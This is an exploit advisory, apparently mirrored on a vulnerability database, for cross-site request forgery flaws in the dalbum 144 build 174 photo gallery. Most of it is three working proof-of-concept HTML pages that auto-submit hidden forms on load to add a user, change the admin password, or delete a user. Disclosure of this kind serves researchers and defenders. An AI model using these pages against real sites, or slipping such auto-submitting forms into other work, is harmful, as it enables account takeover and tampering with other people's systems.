Lucene search
K

Dalbum 144 Build 174 Cross Site Request Forgery

🗓️ 30 Mar 2012 00:00:00Reported by Ahmed Elhady MohamedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

dalbum 144 build 174 CSRF Vulnerabilitie

Code
`dalbum 144 build 174 and earlier CSRF Vulnerabilities  
===================================================================================  
# Exploit Title:dalbum 144_174 and earlier CSRF Vulnerabilities  
# Vendor: http://www.dalbum.org/  
# Download link :http://www.dalbum.org/index.php?go=Downloads  
# Author: Ahmed Elhady Mohamed  
# Email : [email protected]  
# version: 144 build 174  
# Category: webapps  
# Tested on: ubuntu 11.4  
# This vulnerability allows a malicious hacker to add a user  
delete a user and change password of a user  
===================================================================================  
CSRF VUlnerabilities :  
  
POC 1:  
  
<html>  
<head>  
<title> Add a user </title>  
<script>  
function CSRF() {  
document.getElementById('CSRF').click();  
};  
</script>  
</head>  
<body onLoad="CSRF()">  
<form action="http://127.0.0.1/photo/pass.php" method="post" />  
<input name="user" value="CSRF" type="hidden" />  
<input name="pass" value="123" type="hidden" />  
<input name="passc" value="123" type="hidden" />  
<input type="hidden" name="action" value="add">  
<input type="submit" id="CSRF" name="submit" value="Submit">  
</form>  
</body>  
</html>  
  
POC 2:  
  
<html>  
<head>  
<title> Change user's password </title>  
<script>  
function CSRF() {  
document.getElementById('CSRF').click();  
};  
</script>  
</head>  
<body onLoad="CSRF()">  
<form action="http://127.0.0.1/photo/pass.php" method="post" />  
<input name="user" value="admin" type="hidden" />  
<input name="pass" value="111" type="hidden" />  
<input name="passc" value="111" type="hidden" />  
<input name="change" value="Change password" type="hidden" />  
<input type="hidden" name="action" value="change">  
<input type="submit" id="CSRF" name="submit" value="Submit">  
</form>  
</body>  
</html>  
  
POC 3:  
  
<html>  
<head>  
<title> Delete a user </title>  
<script>  
function CSRF() {  
document.getElementById('CSRF').click();  
};  
</script>  
</head>  
<body onLoad="CSRF()">  
<form action="http://127.0.0.1/photo/pass.php" method="post" />  
<input name="user" value="a" type="hidden" />  
<input type="hidden" name="delete" value="Delete">  
<input type="submit" id="CSRF" name="submit" value="Submit">  
</form>  
</body>  
</html>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Mar 2012 00:00Current
0.3Low risk
Vulners AI Score0.3
22